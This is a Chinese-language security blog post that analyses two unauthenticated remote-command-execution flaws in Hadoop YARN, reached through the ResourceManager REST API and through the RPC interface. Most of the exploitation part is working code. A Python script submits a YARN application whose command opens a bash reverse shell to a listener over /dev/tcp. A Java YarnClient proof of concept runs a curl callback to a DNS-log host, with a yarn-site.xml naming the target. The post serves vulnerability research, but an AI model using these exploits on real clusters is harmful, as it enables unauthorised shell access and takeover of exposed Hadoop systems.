Hadoop的两个未授权漏洞分析(Restful和RPC)

周一翻星球看到了昨天出了一个 Hadoop Yarn RPC未授权访问漏洞,Hadoop还出过一个Restful API未授权,放一起分析吧。

Restful API未授权

背景知识

Hadoop是一个分布式系统基础架构,可以用来对大量数据进行分布式处理。Hadoop支持Kerberos认证,但默认情况下并不使用:

Hadoop包含了Hadoop Common、Hadoop YARN、Hadoop Distributed File System (HDFS™)和Hadoop MapReduce四个模块,然而每个组件又没有统一的授权管理方式,这给防御者造成了一定的麻烦。

比如HDFS,支持POSIX ACLs,它是通过对特定名称的用户或组设置不同权限来完成控制访问的,默认情况下禁用ACL.

在默认情况下,Hadoop不会对传输中以及静态存储的数据进行加密,如果使用Kerberos认证就会启用原生的加密方式。

漏洞利用

通过ResourceManager REST API,可以让用户获取集群的相关信息。存在接口:

/ws/v1/cluster/apps/new-application
/ws/v1/cluster/apps

可以让用户生成并启动一个新的应用程序,在集群上进行处理,那么类似计划任务反弹shell,写入反弹shell的命令即可。

利用流程:

  1. 本地开启一个端口等待反弹shell
  2. 利用new-application接口获取application-id
  3. apps接口POST相关命令
  4. 等待shell反弹
import requests

target = 'http://10.211.55.24:8088/'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/192.168.1.1/9998 0>&1',
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

RPC未授权访问

即使给Restful API设置了验证,RPC服务仍然可以未授权访问到,利用类似的方式就可以进行远程命令执行。

需要学习一下Hadoop YARN Client的编写,因为不熟悉Java,卡了一天才调通,下面是PoC:

Configuration conf = new YarnConfiguration();
YarnClient client = YarnClient.createYarnClient();
conf.addResource("src/main/resources/yarn-site.xml");
client.init(conf);
client.start();

YarnClientApplication app = client.createApplication();
ContainerLaunchContext amContainer = Records.newRecord(ContainerLaunchContext.class);
ApplicationSubmissionContext appContext = app.getApplicationSubmissionContext();
String cmd = "curl j57pb2.dnslog.cn";
amContainer.setCommands(Collections.singletonList(cmd));
appContext.setAMContainerSpec(amContainer);
appContext.setResource(Resource.newInstance(100, 1));
appContext.setPriority(Priority.newInstance(0));
appContext.setApplicationName("getshell-test");
appContext.setQueue("default");
client.submitApplication(appContext);

yarn-site.xml里放入目标地址:

<configuration>
    <property>
        <name>
            yarn.resourcemanager.address
        </name>
        <value>10.211.55.24:8032</value>
    </property>
</configuration>